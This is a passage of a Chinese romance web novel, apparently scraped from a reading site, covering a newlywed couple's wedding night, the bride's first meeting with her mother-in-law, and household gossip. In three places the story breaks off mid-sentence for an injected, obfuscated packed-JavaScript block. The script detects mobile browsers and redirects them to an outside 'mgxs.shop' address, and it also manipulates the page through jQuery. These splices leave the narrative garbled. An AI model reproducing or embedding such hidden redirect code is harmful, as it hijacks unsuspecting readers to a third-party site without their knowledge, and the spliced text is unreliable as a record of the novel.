傅清漪在旁边坐下,思索着答道:“幼时启蒙,读过三年,略识得几个字。” 后来父亲过世,她投奔了于家。于家孩子多,吃穿嚼用多,读书除了给夫子束脩,还有笔墨纸张,都是不小的支出,男孩子都没能正经读出来,何况是女孩子? 傅清漪答完不禁自惭形秽,崔豫不仅是读书人,还是集贤院学士,满腹经纶,会不会瞧不上她? 崔豫沉默了一会儿,又问,“平日里做什么消遣?” 消遣?那是大户人家才能享用的。她们这种小户人家的女郎,哪有什么消遣,有空闲都在想办法贴补家用啊! 表舅母常说,女郎将来要嫁人,须得尽心作养,皮糙肉厚不免被人轻贱。故而洗衣、烧饭、劈柴等粗活,忙不过来就雇人做,女郎们只做些轻便的活计。表姐会绣花,表妹会打络子,她喜欢画画,特意练了描花,都可以拿出去换铜板。 傅清漪垂首轻声道:“平日在家,做些女红,有时还替人描花。” 她忽然自省,自己不仅没有才学,还很无趣。顾夫人说,崔学士心仪她,卢夫人才托人下聘,这是给她脸上贴金呢。 两个人都没有正经见过面、说过话,她倒是被杜家闹的,有个不敬婆母的恶名在外。 所以,崔豫为何娶她呢?崔家又怎么会同意的?这个问题已在她心头盘桓许久,可眼下也不是问的时机。 “描花?”崔豫极浅地笑了一声,打断了她的分神,终于抬眼看她的手掌,“擅于描花的人,都有一双巧手。” 这是在夸她?傅清漪不确信地抬眸,此时崔豫转脸看向房门,仿佛已经没有兴趣再说下去。她咬咬嘴唇,又低下了头。 难耐地静了片刻,崔豫的声音响在头顶,“时辰不早了,安歇吧。你习惯熄灯入睡,还是亮着灯?” 傅清漪望了一眼龙凤烛,“可以留那一双蜡烛亮着么?”听长辈们说,新婚夜的龙凤烛,象征长久和吉祥,要燃至天明才能如愿。 崔豫点点头,起身脱掉外袍,搭在木椸上,转身去熄灭多余的烛火。傅清漪也把外衫脱掉,搭在矮处木椸上,身上只穿水红色绣花软绸寝衣。 整理衣衫时磨蹭了片刻,等她走回去,崔豫已经坐在床榻边等着。见她回来坐下,他抬手放下金钩,厚重的罗幔垂下,在架子床间隔出一方红烛昏罗帐的小天地。 氛围变得粘稠微妙,两个人像被无形的丝网束缚住。 过了好大一会儿,崔豫慢吞吞地问道:“你……想怎么睡?” 傅清漪闻声抬头,彼此坐得远,看不清他的脸色。 洞房花烛夜,他这么问,是想分床睡?她心里一阵阵发紧,揣测他是因为被王傅姆阻拦,心里存着气,连洞房的心思都没有了?还是因为那两个问题的答案,心里瞧不上,觉得她不配上他?不管是哪种原因,都对她很不利。 刚成亲就分床,摆明是欺负她无人撑腰,且府中百十口子人,传扬开了,她往后怎么立足?最要紧的是,屋子里没有第二张床,分床就意味着有人要睡地铺。 二月里还冷嗖嗖地,他是养尊处优长大的,不会觉得她皮糙肉厚能扛冻吧?就算有火盆,睡一夜也要着凉的。 傅清漪自行忽略他的疏离,抬腿上榻,屈膝跪坐。她拍拍绵软的褥子,轻笑说道:“妾睡外侧,不会挤到你的。” 被褥都是上好的丝绸缝制,内里填充丝绒软而温暖,帐中还薰了好闻的花木香,人落在上边,哪会舍得挪开? 帐中待久了,眼睛已经适应暗处,崔豫转脸看过来,彼此能看清对方乌溜溜的眼睛。他抿了下嘴唇,嗓音微哑,透着无奈,“我问的是,你想在……上边,还是下边?” 什么上边、下边? 傅清漪看着他幽深的眼眸,不信他能答应睡地下,世家子弟十指不粘泥,根本不会体谅人,这是逼她呢。 她不肯动,又听见崔豫嗓音沉沉,隐约有怒意,“成亲前,家中长辈,难道没有教导过你,新婚之夜应该怎么做?” “……”傅清漪脑袋里嗡了一声,避火图上各式纠缠露骨的姿态,立刻走马灯似地浮现,原来是这么个上边、下边! 昨夜准备安寢时,宋氏偷偷给她一本包裹严实的册子,让她无人时翻看。若实在不明白,就带去洞房再琢磨。她懵懂地翻了两页,又惊又羞,像握着块烧红的碳,手忙脚乱地塞进柜子底层,半天缓不过劲儿。 此刻突然被崔豫当面问出来,如同偷看被抓现形,整个人都被莫大的羞耻攫取,紧张地手脚蜷缩,一颗心在胸膛里跳得像发了疯。 “我……”她口干舌燥,几乎张不开嘴,“教……教过的……” 或许嫌她太过愚钝,崔豫懒得再出声。傅清漪按住胸口,按住怦怦乱跳的心,找回些许清醒——崔学士虽冷漠,但是相貌俊俏,不吓人,也不吃人,她有什么可紧张的?出嫁的邻家姐姐跟她说过,洞房花烛,眼睛一闭,就过熬过去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347575|199545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“妾太过紧张,失态之处,请崔学士见谅。”听不见崔豫言语,她匀了匀气息,再次鼓起的勇气,“妾服侍您宽衣。” 不等崔豫允许,她膝行两步凑近,伸手去解他的衣带,再不动手,她好不容易鼓起的勇气就要消耗掉了。 她伸手过去,崔豫立刻抬手阻止,又在碰到她的手背时,蓦地弹开。傅清漪飞快地抬眸,窥见他脸上闪过的慌乱,还有红晕在耳旁晕开。 离得太近,彼此身上的气息变得清晰,傅清漪原本就在乱跳的心,愈发声如擂鼓,震得耳朵里都跟着嗡鸣。 颤栗的的手指,僵硬得不听使唤,竟然还被衣带缠住了,且越解缠得越紧,她背后顿时急出一层细汗。 她这里和衣带缠斗得久了些,崔豫身上也透出一层薄汗,抬手握住她的手腕,“你……” 忽然“刺啦”一声! 软薄的丝制寝衣,从系带处被撕开一条口子,春光一闪,露出一小片白净的胸肌。 “放肆!”崔豫忙不迭地后避,抬手捂衣裳。 衣带并未完全扯下,还连着衣襟上的布料,慌乱中两下里身形不稳,同时跌在床榻上。 傅清漪扑进崔豫怀里,将人结结实实地压在下边,他身上淡雅的草木香气,混合着男子气息,倾刻间撞进她的肺腑,激得心神俱颤。 恍惚中,她听到隆隆作响的心跳声,一时分不清是自己的,还是他的。顾不上分辨,傅清漪手忙脚乱地从他身上爬起来,“对不起,对不起……妾不是故意的……” 刺啦! 缠住她手指的衣带,随着她起身的动作,彻底被扯下来,他身上的寝衣也彻底坏掉,露出块垒分明,轮廓流畅的白净胸腹。 一介文臣,却不羸弱,一呼一吸之间,沟壑纵横,满满的力量感,傅清漪看得得目瞪口呆。 崔豫开始还想遮掩,后来便自暴自弃了,将残余的衣料扯掉,丢下床,仰躺在那里,抬眼看向还在发愣的傅清漪,声音微冷,“你打算看多久?” 傅清漪如梦初醒,抬手捂住脸面,哀嚎道:“怎会如此啊……妾的手指,被你的衣带缠住了……并不是有意的……” 她嘟嘟哝哝,越说越羞耻,恨不能找个床缝钻下去,洞房花烛夜,扯坏郎子的衣裳,还有别的新妇,比她更丢脸吗? “不许哭!”崔豫没什么耐心地斥责了一句。 “妾没哭。”她惶恐地露出面容,睁大眼睛,让他看清楚。 崔豫却转开脸,冷声吩咐道:“脱掉你的衣服,躺下。” 他的语气不容置喙,傅清漪咬咬嘴唇,背转过身子,解开衣带。室内虽有火盆,终究还是冷,没有衣裳包裹,肌肤上瞬间被凉意激出一层细粟。 她迟疑了下,一把扯起被子盖住身子,顺势躺下,只露了个脑袋在外边,饶是如此,也觉得四周凉嗖嗖的。 崔豫瞥她一眼,嗓音略哑,“闭上眼睛。” 5. 第 5 章 傅清漪依言照做,眼睛紧紧闭住。 不多时,被子一角被揭开,凉风涌入,她禁不住缩身想躲,忽然被崔豫抓住手臂,扣住肩膀,动弹不得。 她不敢睁眼,却清楚地感受到他掌心的灼热,所过之处,带起层层颤栗。呼吸相闻,他身上的草木淡香,有些馥郁醉人。 陌生而又越礼的触碰,让她的脑海里,又一次浮现出,避火图上纠缠的画面,顿时绷紧了身子。 “躲什么?”崔豫不满地问道。 他的气息响在耳边,像一片羽毛钻入耳中,让她本就慌乱的心,几乎要从口中跳出来。 她无措地睁开眼睛,他的脸近在咫尺,让她能够看清楚,他深邃的眼眸,似寒潭般无波无澜,全无情愫,像在对待一个物件。 这样的眼神,让傅清漪瞬间清醒,立刻抓住他的手腕,阻止那只手继续下去。 手腕被抓住,崔豫以为是女郎害羞,并未在意,微微用力并未挣脱,同时察觉到,纤细的指尖,传来更大的力气,才让他感到意外。 抬眼看去,女郎脸上虽红云密布,眼睛却似两汪清泉般清澄,全然没有了方才的羞涩和窘迫——她的阻拦,是认真的。 崔豫有些意外,看着她的眼睛,没有说话。 拦下他的动作,傅清漪自己也吓了一跳,虽然莽撞,但不后悔。 她能接受这个陌生人,成为丈夫,与她做最亲密的事,也能接受他心里藏着其她女郎,但是唯独不能接受,他用看物件的眼神,来看她! 生而为人,此界,不可逾。 哪怕他的眼睛里没有恶意,只有彻骨的疏离。 崔豫用审视的目光看着她,问道:“你不愿意?” 傅清漪的眼睫颤了颤,错开目光。 “不愿意”三个字,必然会惹怒他。背后没有强大的娘家,在这个陌生的深宅中,她便没有任性的资格,只能软下嗓音,怯生生地说道,“妾懵懂……心里慌得厉害……”顿了下,轻声问道,“妾不知如何自处,崔学士,会不会看轻妾身?” 崔豫一怔,大感荒谬,“结发为夫妻,休戚与共,我为何要看轻你?”旋即又想到,她方才的眼神,可不像心慌害怕,多半是因为年少,喜欢听人夸着、哄着,他蹙眉想了想,又道,“成了婚,就是大人了,不要再把自己当作孩童。” 傅清漪稳了稳心神,慢慢地说道:“既然你说,结发为夫妻,那么妾以后,定然会敬你、爱你……”缓了一口气,她按捺住心跳,轻声道,“崔学士……你也会如此待妾吗?” 崔豫立刻明白了,她为何抗拒,望着她谨小慎微,又饱含期许的目光,微微颌首,“当然。” 得到他的允诺,傅清漪略松了口气,转瞬又发现,崔豫原本冷淡的目光中,闪过一抹温柔,仿佛有什么东西在他心底化开了,接着他的嗓音低沉而又轻缓,认真说道:“你是我的妻子,自当荣辱与共。” 这句话是对她的承诺,语气里带着笃定,可是傅清漪却明白的感受到,这句话应该是他在对他自己说,像在心底反复确认,又像在提醒自己,她才是他名义上的妻子。 这也让她的思绪更乱,给他写信的到底是什么人? 窗外忽然有异响,隔着层层帐幔看过去,廊下亮着红灯,有人影在窗纸上一晃而过,傅清漪倏然缩进被子里,裹住下巴,低声道:“有人!” 崔豫也扭头看过去,厌恶地皱起眉头。 傅清漪立刻想到,但凡街坊乡邻家里有办喜事的,便会有毛头小子趴在新房外偷听。 邻家有对小夫妻,成婚当夜失察,被人听去夫妻戏言,以此调侃过许久。 想不到崔家也有这样的顽皮的小子?她和崔豫方才说的话,都被人听去了? 面红耳热之余,她咬咬嘴唇,压低嗓音提醒道:“有人偷听。” 崔豫的语气有些无奈,“不必在意。” 傅清漪倏然明白了,不是毛头小子,而是王傅姆等人。 早就知道,大户人家呼奴使婢,主人在屋子里咳一声,一堆人就会进来侍奉——看来花烛夜也不例外。 可她才嫁进来,还没适应这一套。想到她和崔豫说的话,都被听了去,那么接下来……避火图……傅清漪想到这个,顿时尴尬得头皮发麻,缩进被子底下,不肯出来。 崔豫的嗓音隔着被子传入她耳中,“嬷嬷们已经教过规矩,你这是全忘了?” 傅清漪揪着被子,心里乱作一团,教过是教过的,可是言传并没有这么细致,和亲身经历,是有极大落差的。 “当真不愿意?”顿片刻,崔豫又道,“既然你不愿意,那就穿上衣服吧。” 傅清漪闻言一怔,接着听见帐幔撩动的声音,她从被子里探出半张脸,看见他走到衣柜前停住,取了件新的寝衣套在身上。 说不出心里是什么滋味儿,伸手揪过自己的寝衣,麻利地套在身上,挪到外侧闭目仰卧,双手搭在胸前。 果然还是有衣裳包裹着,心里才不慌。 崔豫回来躺进里侧,两个人安安静静地,其实都在竖起耳朵听外边的动静。 过了许久,窗外一直悄无声息,许是觉得他们已然睡着,都散了。 傅清漪扭头看看崔豫,揪着被子边缘,犹豫片刻,小心翼翼地问道:“崔学士,妾的规矩没学好,你……是不是生气了?” 崔豫闭着眼睛,答非所问,“既已成亲,你当改口,唤我夫君。” 傅清漪自知失言,立刻改正,“夫君。” 崔豫“嗯”了一声,没有说话。 傅清漪其实有很多话,想要跟他说,但也看出,他并不想说话。 不想过多讨他嫌弃,傅清漪抿了抿嘴唇,转身侧卧,隔着厚重的罗幔,案上的龙凤烛影影绰绰,像在遥远的梦境里。 身子已经乏累,该睡了,可是心里却有一辆飞驰的马车,载着她,怎么也停不下来。 她能嫁给崔豫,自知彼此身份悬殊,原本并不奢求他能青眼相待,也不在意他有什么目的,只求在崔家不被苛待。 可是现在,她好像有些贪心,希望他能对她好一些,真的把她当作妻子。 这就是人们常说的,得陇望蜀、得寸进尺吧? 自己也知道这样不好,可是崔豫自己都承诺了“自当荣辱与共”,她这点贪心,顶多是顺其自然。 她正在胡思乱想,崔豫的声音忽然响起,轻慢地如呓语,“你不累么?早些睡吧。” 傅清漪心头一惊,察觉枕芯里有不知名的细小颗粒,应是草决明,稍一动便会发出细碎的哗啦声。夜深人静,崔豫离得这样近,一定能听到。 她不好意思地闭上眼睛,不敢再动。 “今日累了一天,难得能早早躺下休息。”崔豫的声音依旧轻慢,“圆房不急于一时。”他是在告诉她,没因为她临阵退缩而生气。 傅清漪宽慰地弯了弯唇角,崔学士并非全然冷淡。 原以为换了陌生的地方,会失眠呢,不想这会儿倒是睡得快,转瞬便进入了梦乡。只是梦里乱糟糟的,四周人声鼎沸,偏偏眼前只有大片的红,人影似乎离她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347576|199545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很远。 她心里着急,拎起裙摆往前跑,双腿一使劲,身子骤然踏空! 咕咚! 不知摔到什么地方了,坐起之后,人还是懵的。 “你怎么了?” 听见有人问,她迟迟地回神,映入眼中的是崔豫的脸。 崔豫撑身坐在床上,目光澄澈,温声提醒道:“还不起来?” 原来是做梦摔下床,真是丢脸至极!傅清漪顿时窘得脸上发烫,顾不上察看疼得厉害的右膝,赶忙爬起来,匆匆钻进被子里。 崔豫问道:“方才摔得又重又急,不看看腿脚,可曾伤到?” 她不好意思承认,更怕被值夜的婢女听了去,被阖府当笑话,拉起被子,盖住大半张脸,闷闷地说道:“无妨,不曾伤到。” 崔豫轻叹,“你睡过来一些。” 傅清漪不解,睁开尚且迷蒙的眼睛,转脸看他。 崔豫闭着眼睛,也能洞察她的心思,解释道:“免得再摔一次。” 傅清漪不禁腹诽,她有这么笨吗? 身体却乖乖地挪动,右膝传来阵阵火辣辣的疼痛,隔着寝衣去摸,痛意愈烈,让她怀疑磕破了皮肉,可崔豫在身边,她不好意思查看,放缓了动作。 崔豫睁开眼睛,隔着被子瞥了一下她的腿,“动作僵硬,看来真的伤到了。” “没有,我只是怕吵到你。”嘴比脑子快,否认完有些后悔,但也不好意思再改口了,觑着他的脸色问道,“你是被我吵醒的,还是一直没睡?” 崔豫闭起眼睛,又不说话了。 傅清漪忍到天亮,趁更衣时撩起裙摆,入眼一片紫红,虽然没有破皮,走路还是很受影响。 她理好衣裳,坐回铜镜前,王傅姆带着人帮她梳妆。 面前摆着数件颈饰,傅清漪选了玉石璎络。通体莹白不规则的羊脂玉石,串成璎络多了几分俏皮,贵气又不失灵动。 王傅姆赞许地颌首,亲手帮她戴在身上。 崔豫正从她身后经过,从铜镜里看了一眼,说道:“换成那只素金项圈。” 桌面上摆着三只金项圈,其中两只各自装饰珍珠和宝石,独有一只未镶嵌,用的是累丝技艺,繁复地缠出连绵不断的莲花、莲蓬纹样。虽也是时兴的花样,终究颜色不及羊脂玉灵秀,衬得人都大了两岁,再上些年纪也能戴出门。 傅清漪迟疑地想,要不要表明自己更想戴璎珞,王傅姆已经开口,“娘子的肤色,很适合戴这串羊脂玉,郎君再看看?” 崔豫摇摇头,仍是那五个字,“换素金项圈。” 他不苟言笑,身上散发出淡淡冷意,让王傅姆不敢再多言,为难的看向傅清漪。 罢了!这串璎络也不是非戴不可,犯不上新婚头一天为此不快。 傅清漪嫣然一笑,“有劳傅姆,帮我换下来。” 等她梳妆完毕,崔豫已经立在门前多时。 他穿着枣红南绸连珠吉祥草纹圆领袍,腰间棕牛皮嵌金什扣蹀躞带,勾勒出肩宽腰窄的身形。外罩釉红团花狐裘衣,衬得面色白皙如玉,眉目深邃。负手立在门前的光影中,端然是翩翩郎君。 傅清漪看得眼睛发直,幸而屋中的婢女轻声提醒,才让她回神。 “郎君,娘子,该去向夫人请安了。” 崔豫点点头,转脸看她走近,道:“走吧。” 他抬脚往外走,傅清漪的目光在他身上扫过,忽然瞥见他腰间,系着一枚莹白的羊脂玉佩,心中不免有些失落,不让她戴羊脂玉,是因为撞了他身上的玉佩? 6. 第 6 章 荷深似入苕溪路,石怪疑行雁荡间。⑴ 抬眸望去,崔家府邸,屋舍俨然,雕梁画栋。 院落间之曲径通幽,移步换景,宛若一幅长长的丹青画卷。 傅清漪暗暗感慨:这样的深宅大院,如果只有自己,多半是要迷路的。 一路行来,不断有仆妇们往来,见到他们皆驻足行礼,傅清漪纵然好奇,也要目不斜视,端起主人的架子。 王傅姆给她系了禁步,提醒她行不摆裙,仪态端庄。加之又磕伤了右膝,隐隐胀痛,更是影响脚步。 崔豫身高步阔,很轻松拉开距离,故此几次停下等她。 傅清漪不好意,提议道:“夫君不妨先行,妾在后边有婢女陪着,不会迷路,免得累及夫君总是驻足。” 崔豫闻言,语气淡然,“今日大家要看的是新妇,我早去,也是要等的。” 傅清漪抿了下嘴唇,识趣地不再多言。 卢夫人住的扶疏园,园如其名,花木扶疏。既使在二月的节气,也有寒梅吐蕊,从粉墙外走过,未见花影,已有清香扑鼻。 步入院中,更是别有洞天,花棚、花架一应俱全,各式奇花异草都被照料得极好。看得出,卢夫人是个爱花、惜花之人。 迎上来的嬷嬷含笑行礼,“奴婢周雪霁,是夫人的陪嫁,见过傅娘子,愿娘子与二郎君,良缘永结,比翼白首。” 既然是卢夫人的陪嫁,定是极为信任的人,傅清漪不能怠慢,客气地扶了她一把,“周嬷嬷,快快请起。” 见完礼,周雪霁才说正事,“夫人有几句话,想要单独和郎君说,请娘子在此稍候。”说着将手心里捧的手炉塞给傅清漪,“这个给娘子暖手。 候在院中,这是新婆母要给她下马威,立规矩?傅清漪不露声色,接过手炉,向她道谢,目送崔豫走进正堂。 崔豫走进正堂,看到只有母亲卢夫人在里边坐着,屋中再无旁人。 “母亲安康。”崔豫行礼后,垂首听训。 卢夫人抬手,指了指旁边的官帽椅,“坐吧。” 崔豫落座。 卢夫人望着他,关心道:“二郎,你的脸色不太好,昨夜没睡好?” “枕边突然多了个人,尚未习惯。”崔豫说道。 卢夫人欲言又止,默然片刻,才换了幅轻松地语调,温声开口,“昨夜,你和新妇相处如何?” 崔豫垂目,疏离地应道:“劳母亲操持、惦记,一切都好。” 卢夫人眉心微皱,索性问得更直白,“我是想问,你和新妇……圆房了么?” 纵使是母子,当面问也觉得尴尬。但是崔豫脸上波澜不惊,答得含糊,“母亲不是让人守着新房么?儿和傅氏同榻而眠,直到天亮才出新房,怎么不算圆房?” 卢夫人听出他有怨气,无声地叹了口气,语调愈发温和,“二郎,莫怨我唠叨,同榻而眠,若无肌肤之亲,又岂能算是圆房?听王傅姆说,今早收拾床铺,上边干干净净……你们两个,到底是怎么回事啊?” 崔豫面色不虞,“王傅姆嘴巴不严,主人的闺房事也敢外传,该撵出去了!” “是我非要她说的,你别怪她。”卢夫人语气软下来,解释道,“寻常百姓家,娶了新妇,用过的铺盖,第二日要晾在院中给人看,免得传新妇的闲话。咱们虽不至于做得这样露骨,但也不能含糊。将来,你若是承继家主的位置,傅氏便是当家主母,若有什么风言风语传出来,于她清白不利呀!” 崔豫沉默不语,指间握着一枚水润莹白的羊脂玉佩轻捻,一副懒得听她唠叨的模样。 卢夫人轻叹一声,满脸无奈,徐徐问道:“二郎,你到底想怎样呢?你不肯娶你表妹,不愿攀结名门淑媛,娘都没有逼迫你。是你自己说心仪傅氏,虽说门第差别大了些,但你愿意,娘就依你。如今成了亲,那么一个如花似玉的女郎睡在身侧,你倒成了林下惠?你是读书迂腐了,还是……” 卢氏骤然顿住,心头涌出一个可怕的猜测,顺嘴问了出来,“你该不会……有什么隐疾吧?” 崔豫捻玉佩的手指一顿,脸色沉了沉,颇为无语地看了一眼母亲。 卢夫人讪笑,举手在嘴上连拍三下,“不是就好,是我失言了,你别往心里去。不过,你也别怪我多话,既然娶了人家,就要尽心善待,别让人家有苦难言。” 崔豫失了耐心,撂下玉佩,望着紧闭的房门道:“我对傅氏,自有分寸,不劳您费心。若是没有旁的话,就把人叫进来吧,外头正冷呢。” 卢夫人看着他的侧脸,只觉得满肚子的话说不出来,最终化为一声叹息。扬声想叫人,又想起什么,起身走到窗边,推开一条细缝往外瞧。 一眼就瞧见站在院中的女郎,身量高挑匀称,穿着花树对鹿泥金纹榴红裘衣,底下露出鹅黄洒花襦裙。 模样俊俏讨喜,尤其是那张圆圆的脸蛋儿,宛如沾了糖霜的汤圆,愈发显出两只杏眼灿若星辰,和嫣红的唇瓣。 院中不时有婢女经过,任谁出现,都要偷偷打量几眼。她面色如常的站着,目视前方,瘦弱的脊背挺得笔直。 卢夫人赞许道:“这孩子模样好,玉娃娃一般。更难得的是不娇气,耐得住性子,宠辱不惊,是个四平八稳的女郎,你挑人的眼光不错。”回头催促,“你快去把她叫进来。” 崔豫坐着不动,“为何让我去?” 卢夫人好言哄他,“新妇头一天拜见婆母,在院子里站半天,不管怎么说,恶婆婆的名头,我是摘不掉了。你去把人带进来,是给她台阶下,也让外边人的人都知道,她在这个家里,有你这位夫君撑腰。” 崔豫一时无言,起身往外走。 头一回拜见婆母,傅清漪心里忐忑,面上却不能露怯。 她的出身,和崔家悬殊太大,坊间早有异议,此刻立在院中,路过的婢女,瞧她的眼神难掩好奇,甚至有人露出轻视的目光。 越是被人瞧不上,越要自己稳得住。 让她在外边等,不论是真有话说给崔豫听,还是立威给她颜色看,只要不动手,就不必放在心上。 婆婆让儿媳妇站规矩,她早就听人说过,不是她独一份。 崔豫亲自出来唤她,让她很是意外。卢夫人要立威,扬声叫一句就成,或者打发婢女传唤,崔豫亲自出来接她进去,是为表明与她夫妻一体,共同进退? 他立在石阶之上,温润的目光落在她脸上,似乎对她有很大的耐心,“随我进来。” 傅清漪应了一声,把手炉交还给嬷嬷,整理仪容,跟在崔豫身后。 依着礼数,不能抬头乱看,垂目望着崔豫的衣袍下摆留意分寸。水磨青地砖上人影交错,直到他停住脚步,引荐她行礼,傅清漪才匆忙往上瞧了一眼。 罗汉榻上铺着五彩绒垫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347577|199545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,端坐着一位貌美的华服妇人,面露微笑。傅清漪不敢多看,规规矩矩地向卢夫人行礼叩首。 虽是头一回相见,傅清漪能感受到,卢夫人看她的眼神很是温柔,有些迫不及待地唤道:“来,到我身边来,让我好好看看。” 傅清漪依言走过去,握住卢夫人伸来的手,由着她上下打量。 近在咫尺,这回她看清了,卢夫人虽然年过四旬,但是保养得宜,面容白皙,看着倒像三十多岁的。气韵高雅,一看就是明事理的人,顿时让她松了一口气。 卢夫人看她的眼神透出慈爱,温言笑道:“在院子里站了半天,冷不冷?” 傅清漪摇摇头,轻笑,“不冷,嬷嬷给了手炉,差点就捂出手汗了。” 卢夫人拉她在身边坐下,解释道:“方才单独叫二郎进来,是有几句话叮嘱他。你们才成亲,你不晓得,他这人有多难缠,往后他若是亏待你,只管来告诉我,母亲替你撑腰。” 傅清漪进来后,已然察觉氛围微妙。崔豫对卢夫人,并不像她表兄对表舅母那般亲近,或许是大户人家规矩多,孩子对着父母也要受拘束。 且未嫁时,便听人说过,崔豫是由崔家家主崔孟泽亲自教养,如此想来,崔豫和卢夫人不亲,怕是也有这一层缘故。 不过,就算他们母子不亲,她是外姓人,不想惹麻烦,只笑着点头应下,并不多言。 卢夫人的目光落在她颈间项圈上,眼中露出复杂神色,抬手抚摸上边的纹样。 傅清漪心头一跳,莫非项圈有问题?她低头看了一眼,转脸看向崔豫。 忽听卢夫人唤婢女道:“雪霁,去我的妆奁中,将先太夫人赠我的那对金镯子取来。” 卢夫人感慨地笑道:“巧得很,看到项圈上的纹样,我想起当年刚嫁进来时,我的婆母——也就是二郎的祖母,送我一对金镯子,纹样似乎和这个很像。” 傅清漪悬着的心这才落回原处。 周雪霁办事很麻利,去不多时取来镯子,用檀香色锦盒装着。盒盖打开,红绸上静静安置了一对儿金澄澄的手镯,数朵含苞待放的莲花,花茎交缠攀绕,精美且栩栩如生。纹样和傅清漪戴的项圈确实很像。 卢夫人拉着她的手,另一手取出镯子,帮她套在腕上。托着左瞧又看,露出满意的神色,“果真还是年轻好,细皮嫩肉的小娘子,戴着就着好看!咱们娘儿俩头回见,这镯子拿得出手,就赠给你做见面礼了。” 傅清漪不安地推辞,“母亲,您方才说,这对镯子是先祖母赠给您的,很珍贵,儿不敢收,母亲还是收回去吧。” 卢夫人按住她的手,不让摘,“送出去,哪有再收回来的道理?我刚成亲时,二郎的祖母赠给我,今日转赠给你,就此传承下去吧。” 傅清漪为难地看向崔豫,他略微颌首,示意道:“长辈赠,不可辞。” 傅清漪起身拜谢,“谢谢母亲。” 手指抚过腕上的金镯子,明白自己先前误会了崔豫——崔豫不让她戴羊脂玉,是因为料到金项圈会勾起卢夫人的回忆,赠她金手镯,表明对她的接纳。 人前不便言谢,只能感激地看过去。 崔豫并未留意她的眼神,起身向卢夫人道:“时辰差不多了,儿带新妇去拜祭父亲。” 卢夫人点点头,对傅清漪道:“去吧。等拜祭完,再去上房,今日还有长辈和亲戚要见。” 7. 第 7 章 离开扶疏园,傅清漪紧走几步追上崔豫,心怀感激,轻声道:“多谢夫君提点。” 崔豫目视前方,脚步不停,“嗯”了一声,坦然领受了。 傅清漪知道他不喜多言,态度也颇为冷淡,但是瞧着他挺拔如松的背影,心头忽然泛起层层涟漪。 早年还在于家时,曾与于家的兄弟姐妹雪夜围炉,表兄弄到了一壶好酒,偷偷分给她们享用。 酒液带着浓郁的梅香,色泽红艳,甫一入口,便有清冽之气透彻肺腑,人都被冷得直哆嗦。匆匆咽进肚子里,不多时,便有甘甜在口中回味,更有暖意渗进四肢百骸,手足俱暖。 崔豫,倒是很像那壶酒。 祭拜过崔氏先祖,傅清漪跟着崔豫踏上通往上房的石径,旁边的小院中有人说话,隔着一道墙,也能听清楚。 傅清漪听了几句,辨出她们的身份,一位是姐妹中行六的崔鸣琦,另一位是五郎君的妻子黄氏。 先是崔鸣琦愤然道:“早就听说新过门的那位,是个‘厉害’角色,果不其然,才来就把二伯母的镯子给哄了去——上回,我赴陈太师家老夫人的寿宴,向二伯母借,她都宝贝地不肯拿出来呢!” 黄氏劝道:“你犯不上为这点事生气,二伯母膝下只有你二哥一位,傅娘子嫁过来,可不就跟着水涨船高,备受看重?况且镯子是先祖母传下来的,确实珍贵,若有磕碰,你也担不起。” “可是她那样的人,凭什么能嫁给二哥?她不敬长辈,被杜家退亲,闹得满城风雨,二伯母怎么让她进门?大伯母也是糊涂,竟会纵着二哥胡来!” 黄氏嗔道:“六妹妹慎言。大早上别找气生,快些收拾好,咱们该去上房候着了。” “这些都是事实,还不许我说么?”崔鸣琦怨气十足,且越说越多,“二伯母不是很中意卢家的几位娘子?有一位还是嫡女呢!怎么不从她们之中挑选?住在咱们府中的容表姐也不错啊,人品样貌,知根知底,二哥素来刻板,都夸她好几回呢,怎么偏选中了傅氏?” 黄氏拦道:“你说旁人,怎么扯到容娘子身上了?” 崔鸣琦疑惑道:“五嫂难道没看出来?二哥惯会板着脸,挑府中一众姐妹的错处,轻则训斥,重则惩戒,唯独对容表姐和风细雨,还不吝啬地夸人家——这要说没有猫腻,鬼才信呢!上回我去容表姐那里,意外发现,二哥题跋的那把扇子,还被她珍藏着呢……” 这两位消息灵通,这么快就知道卢夫人赠镯一事,看来深宅大院里,到处是眼睛,根本没有秘密。 可她们也忘了,隔墙有耳,还是让正主听了去。 傅清漪一面腹诽,一面想到花烛夜,崔豫看的书信,第一位可疑者出现,容娘子。 她偷偷察看崔豫的脸色,仍是那幅淡漠疏离的模样,佛没有听到这些非议。难道信并不是容娘子写的?又或者,他定力好,能做到不为所动? 崔鸣琦又开始说她的是非,虽然大部分都是实话,但是掺杂其中的贬损和不屑,好似在傅清漪心里,点着一把火。 若是只有她自己,初来乍到,也就忍了这口气,可是现下,前有崔豫,后有婢女,连忍的机会都没有。 